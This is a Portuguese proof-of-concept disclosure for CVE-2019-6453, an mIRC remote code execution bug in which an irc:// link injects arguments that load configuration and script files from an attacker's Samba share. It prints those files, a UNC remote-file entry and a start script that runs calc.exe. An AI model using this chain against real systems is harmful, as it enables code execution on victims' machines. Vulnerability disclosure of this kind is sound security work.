
Prova de cálculo para CVE-2019-6453
Encontramos uma vulnerabilidade de Execução Remota de Código no mIRC através do manipulador de protocolo URI irc://. Como o mIRC não usa nenhum tipo de símbolo como -- para marcar o fim da lista de argumentos, um atacante consegue passar argumentos para o mIRC através de um link irc:// e executar código arbitrário ao carregar um mirc.ini personalizado de um servidor de arquivos Samba controlado pelo atacante. Observe que ircs:// funciona da mesma maneira.
A prova de conceito do calc requer três arquivos: mirc.ini, calc.ini e poc.html. Assumimos que um servidor de arquivos Samba está em execução no lado do atacante. Para fins de exemplo, os seguintes trechos de código assumem que ele está em execução no host 127.0.0.1 (ou seja, substitua 127.0.0.1 pelo endereço do seu próprio servidor nos seguintes arquivos para testar isso).
mirc.ini é um arquivo de configuração personalizado que deve estar localizado em C:\mirc-poc\mirc.ini no servidor de arquivos.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini é um arquivo de script remoto que deve estar localizado em C:\mirc-poc\calc.ini no servidor de arquivos.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Apenas visitar poc.html deve funcionar, assumindo que o mIRC esteja definido como o manipulador padrão para o esquema de URI irc:// e que o navegador não codifique o payload. Dependendo do navegador e da sua configuração, você ainda pode receber uma solicitação (não é o caso no Firefox).

Esta PoC funciona para mIRC <7.55.
Você pode acionar a PoC no Edge 42.17134 (última versão de pré-visualização) e no Firefox 64.0.2 (última versão final). Não funciona no Chrome por causa da forma como o Chrome lida com protocolos de URI (a URI é codificada antes de ser passada ao aplicativo).